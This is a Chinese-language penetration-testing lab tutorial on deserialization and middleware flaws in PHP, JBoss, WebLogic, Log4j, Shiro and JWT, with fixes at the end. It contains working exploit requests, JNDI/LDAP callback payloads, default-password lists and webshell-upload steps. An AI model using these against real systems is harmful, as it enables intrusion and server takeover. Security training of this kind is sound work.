1.1什么是反序列化
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{public $test="pikachu";}$s=new S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object1:代表对象名字长度为一个字符S:对象的名称1:代表对象里面有一个变量s:数据类型4:变量名称的长度test:变量名称s:数据类型7:变量值的长度pikachu:变量值
例如:新建sec.php文件,内容如下,放入phpstudy根目录:
<?phpclass s{var $test="123";
}
echo '<br>';
$a=new s();
echo serialize($a);
?>
访问此文件:
http://10.0.0.101:90/sec.php
PHP序列化格式
O:1:"s":1:{s:4:"test";s:3:"123";}
反序列化unserialize()
(大部分为代码审计出来的)
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数(漏洞前提):__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用------------------------------------------漏洞举例:class S{var $test = "pikachu";function __destruct(){echo $this->test;}}$s = $_GET['test'];@$unser = unserialize($a);payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
例如输入序列化内容插入xss攻击代码:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
这段字符串仍然是PHP的序列化格式,但它包含了一个潜在的XSS(跨站脚本攻击)payload。以下是它的解析:
O: 表示这是序列化的一个对象。
1 是对象的引用计数。
"S":1: 指定类名的长度为1个字符,类名为"S"。同样,这里可能是一个简化的或示例类名。
{s:4:"test";s:29:"<script>alert('xss')</script>;"} 描述了对象的属性:
s:4:"test"; 表示有一个名为"test"的属性,长度为4个字符。
s:29:"<script>alert('xss')</script>"; 属性的值是一个29字符长的字符串,包含了一个JavaScript的<script>标签,它会在用户的浏览器中执行,显示一个弹窗,消息内容是"xss"。
成功执行:
1.2反序列化漏洞产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
1.3反序列化漏洞实验
2、JBoss中间件:
Jboss反序列化
JBoss 5.x/6.x 反序列化漏洞:
漏洞编号为CVE-2017-12149,这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化
查询是否是boss中间件及指纹信息:
访问/admin-console/http://10.0.0.101:7777/admin-console/
jboss访问:压缩包名+文件名
如:访问jobfan.war压缩包里的no.jsp文件
阅览器访问:
http://10.0.0.101:7777/jobfan/no.jsp
可以执行操作相关命令:
JMXInvokerServlet 反序列化漏洞:
http://10.0.0.101:7777/jmx-console/invoker/JMXInvokerServlet 如果能下载,说明漏洞存在
JMX Console未授权访问:
http://10.0.0.101:7777/jmx-console/ 通过默认弱口令admin admin部署war马拿Webshell
3、 Weblogic中间件:
1、弱口令 帐号和密码都是weblogic
账户:密码
system:passwordweblogic:weblogicadmin:secruityjoe:passwordmary:passwordsystem:sercuritywlcsystem: wlcsystemweblogic:Oracle@123
http://10.0.0.101:7001/console/login/LoginForm.jsp
访问资源文件可以命令执行:
http://10.0.0.101:7001/jobfan/no.jsp
2、Java 反序列化漏洞操作(CVE-2018-2628)、 任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725)、未授权访问
在线工具包NeblogicTool工具:
dnslog在线平台:
http://www.dnslog.cn/
https://dig.pm/
填写url、dnslog及漏洞:
漏洞选择需要一个个测:
============开始检查可回显漏洞============
检查漏洞:CVE_2016_0638_ECHO开始
检查Payload:CommonsCollections3_678
[+]:存在CVE_2016_0638_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
===============检查可回显漏洞完成============
============检查漏洞:CVE_2020_2551_ECHO开始============
检查Payload:CommonsCollections3_678
[+]存在:CVE_2020_2551_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
============检查漏洞:CVE_2020_2551_ECHO完成============
漏洞命令执行:
冰蝎连接成功:
未授权访问(CVE-2020-14882&14883)
CVE-2020-14882&14883 weblogic未授权访问漏洞
影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
CVE-2020-14882未授权访问登录后台,未授权URL地址:
http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal
## %252e%252e%252f 解码为 ../ 利用此方式跳过
退出登录:
阅览器访问未授权URL地址成功进入后台(进不去多试几次)
远程代码执行(CVE-2021-2109)
环境准备:虚拟机win2003运行WebLogic.cmd框架 kali2022安装JNDIExploit-v1.11.jar
bp抓包工具
CVE-2021-2109 Weblogic Server远程代码执行
JNDI下载及使用说明地址:https://github.com/Jeromeyoung/JNDIExploit-1
步骤:
上传JNDIExploit-v1.11.jar到kali
查看kali的ip地址:
ip aeth0:101.0.0.200
开启JNDI监听
java -jar JNDIExploit-v1.11.jar -i 101.0.0.200 ##(kali本机IP)
监听不成功可尝试此条命令来开启JNDI监听:
java --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-v1.11.jar -i 10.0.0.200
使用bp抓包:
http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal
在bp重发器里 修改请求行及添加JNDI注入执行的命令;
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1## 10.0.0;200:1389修改为自己kali的ip地址cmd:whoami## JNDI注入执行的命令
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 10.0.0.101:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
cmd:whoami
Cookie: 5bNa_2132_lastvisit=1715649964; oa3T_2132_lastvisit=1715650008; JSESSIONID=_z5_Rv7j9D2EUPX7NzBl_8aS7LNcdepbW3gPHez5QlOCA-xEipob!-2014840; ADMINCONSOLESESSION=QZiASo3zvYejzQ3VHR6tEhMK02CaP4tCZjkYB0aGIEn_1aQgsH6D!-1051510075
Connection: close注:需修改标红处
JNDI使用说明相关语句:
kali显示正常的监听日志:
可以看到我们的命令执行成功了。
任意文件上传漏洞操作(CVE-2018-2894)
未授权访问路径:(未登录)
http://10.0.0.101:7001/ws_utc/config.do
修改当前的工作目录
默认为:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
修改为:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
修改目录之后,点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传
获取响应包:
上传成功:
访问上传的木马文件:
访问连接修改抓包获取的id和文件名(1715849377709_muma.jsp)
http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp
木马文件成功访问执行:
由此可以使用webshell工具远程控制。
4、apache log4j (Java日志记录库)
1、Apache Log4j是一个开放源码的Java日志记录库,主要帮助开发人员更轻松地控制日志级别,构建记录器,以及在多种日志目标之间转换,而无需修改日志消息。
2、漏洞影响版本:Apache Log4j 2.x <= 2.14.1
3、漏洞原理:由于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
4、攻击代码:${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}
5、修复方案:JAVA7版本升级至log4j 2.12.4版本,JAVA8及以上版本升级至log4j 2.17.0版本,升级包中移除了对lookup功能的支持,禁用了JNDI方法或移除log4j包中JndiLookup类
5、apache Shiro 框架
(原理:aes加密的密钥泄露导致的反序列化漏洞;需用户在登录时选择“记住我”)
1、Apache Shiro是一个功能强大且易于使用的 Java 安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。
2、漏洞影响版本:Shiro-550 Apache 影响版本:Shiro < 1.2.4;Shiro-721 影响版本:Apache shiro<1.4.2
3、apache Shiro-550与721区别 Shiro-550--Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后进行Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro-721--由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
在kali中配置以下内容:
更新和安装软件包的软件源列表:
#vi /etc/apt/sources.list
deb http://http.kali.org/ kali-rolling main non-free contrib
deb-src http://http.kali.org/ kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib-----------------------------
更新版本:
#apt-get update 更新软件包列表
#apt-get install docker 更新Docker的版本
#apt-get install docker-compose 更新Docker Compose的版本
#reboot 重启系统------------------------------
#service docker start 启动Docker服务这个命令是用于启动Docker守护进程(daemon)。在较新的Ubuntu和Debian系统中,你可能需要使用
systemctl
来启动Docker服务:sudo systemctl start docker
#docker pull medicean/vulapps:s_shiro_1 拉取Docker镜像这条命令从Docker Hub或其他注册表中拉取名为
medicean/vulapps
的镜像,标签为s_shiro_1
。medicean
是镜像的仓库名称,vulapps
是镜像的名称,s_shiro_1
是该镜像的一个特定版本。
#docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 运行Docker容器这个命令启动一个新的Docker容器,基于之前拉取的
medicean/vulapps:s_shiro_1
镜像。-d
参数表示在后台运行(detached模式),-p 80:8080
将主机的80端口映射到容器的8080端口。这意味着你可以通过访问主机的80端口来访问容器内运行的应用
阅览器访问Apache Shiro:
http://10.0.0.200/
(kali的ip地址)
进行bp抓包登录:(要勾选记住我RememberMe选项)
bp重发器获取响应包:
apache Shiro 框架特征
rememberMe=deleteMe
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Wed, 15-May-2024 12:03:34 GMT
Set-Cookie: rememberMe=9MLYXEWQzLfO64IKIAvLRSnsOatBalSrJZh9V1FpAJ6mT1PvRwlDGeBHv/aZhqygOO1Blm8FE6weJgmZEXPUw3GjuZ89bSH4eqe0DxEFTSuusE8ncDz5cZm4rN7ceM/K5iLC6cwDz33fFSAxBytDUfKc5odbo32DVpV9vJ9d2OXUcRLdcYNwWW/BjzIPDxho0GGEt34180gosOgJZ6aUa/RdAa99VXkkP4Xn8PQ5CgwNvzHqp3aKnY4NUDnU1uTT9WODNm3d5VMcs3Bq3BwfOf/7DvscVMbuyfuN5meJi+j17pbzs7V6tiJflTKevse75/1xSIuMo+2Fdr6PDOeIcFJRL9f+6QePuo2Akin3vyx63c6zBEGsX58RALnNxojDeBTnBWwBjDlsHkg57EUlqJ+zKh6YEnkhG1NIjD21ISqlPL5okOamleD0AKoJ1TV8Qb3a3CNbR9k+pp7gkrtX9qwC20DR/J6gthi6jdCn12pUVe2ps/y8WmvNrsuWr7qN; Path=/; Max-Age=31536000; Expires=Fri, 16-May-2025 12:03:34 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Thu, 16 May 2024 12:03:34 GMT
Connection: close
在线工具包选择ShiroAttack2工具
填写目标地址、请求方式后检测当前密钥没有选择爆破密钥:
http://10.0.0.200/
(攻击者获取到密钥就可以进行反序列化)
爆破利用链及回显:
可以执行系统命令:
可以植入内存马:
路径:http://10.0.0.200:80/favicondemo.ico
密码:lan2024
冰蝎远程连接控制成功:
4、攻击工具:shiroAttack、ShiroExp
5、修复方案:(1)升级shiro至最新版本1.7.1;(2)保持shiro版本不变<,修改rememberMe默认密钥;(3)禁用rememberMe功能
6、JWT 库(是Token的一种)
1、JWT即Json Web Token的缩写,是Token的一种。用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息。仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了,为应用的扩展提供了便利。
2、判断方法:抓包看请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ共三部分组成,类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分(第一部分被称为header,会说明字符串的类型以及加密方式,第二部分被称为payload,包含用户的身份id,是否是管理权限等字段,第三部分是加密部分,对前面的“xxx.yyy”用头部中声明的加密方法进行加密,保证JWT的完整性)
(1)未授权访问:删除Token后仍然可以正常响应对应页面 (2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等 (3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料 (4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期 (5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题
访问JWT学习在线平台:
https://authlab.digi.ninja/Leaky_JWT
Leaky JWT 漏洞
使用JWT判断方法:
请求头:Authorization: Bearer
JWT的三个部分:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k
JWT的官方网站的解码器:https://jwt.io/
https://jwt.io/
JWT的三个部分:
Header、Payload和Signature。解析每一部分的含义:
1. Header(头部)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Base64解码后得到:
{"alg": "HS256","typ": "JWT"
}
这部分定义了令牌的类型(typ
)为JWT,以及签名所使用的算法(alg
)为HS256。
2. Payload(载荷)
eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0
Base64解码后得到:
{"level": "admin","password": "2ac9cb7dc02b3c0083eb70898e549b63","username": "joe"
}
Payload包含了声明,这些声明可以是关于用户或其他实体的信息。在这个例子中,它携带了用户名(username
)、用户级别(level
)以及明文密码(这在实际应用中是非常不安全的,密码应该加密存储且不应该直接放在JWT中)。通常,Payload还会包含诸如过期时间(exp)、发行时间(iat)等标准声明。
3. Signature(签名)
6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k
Signature是通过特定算法将Header和Payload进行加密处理后得到的,用于验证JWT的完整性和真实性。计算Signature时,除了Header和Payload外,还需要一个秘钥(secret),在这个例子中没有提供秘钥,因此无法直接验证Signature的有效性。
请注意,实际应用中,敏感信息(如密码)不应直接存储在JWT中,因为JWT是可以被任何人解码的(尽管不能修改,除非拥有秘钥)。正确的做法是使用JWT作为访问令牌,而密码和其他敏感数据应在服务器端安全存储并进行相应的验证流程。
JWT第二部分的解码登录密码:
cmd5在线平台:https://www.cmd5.com/default.aspx
username为joe
Password为Password1
进行尝试登录,登陆成功:
CVE-2019-7644 - JWT Signature Disclosure 漏洞
复制到JWT官网解码:
user修改为admin管理员:
复制新生成的JWT的第二部分替换原来的JWT的第二部分:
提醒第三部分 签名无效
复制FO8ZDKSDNVnt_VB3f35_ofEMGFDTrv0dVo8hjGXDtn8
替换Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU
点击Login,登陆成功:
7、安全防范
安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数, 服务器便是用这个来禁止php的执行命令函数
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
升级中间件
严格控制传入变量,严谨使用魔法函数
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。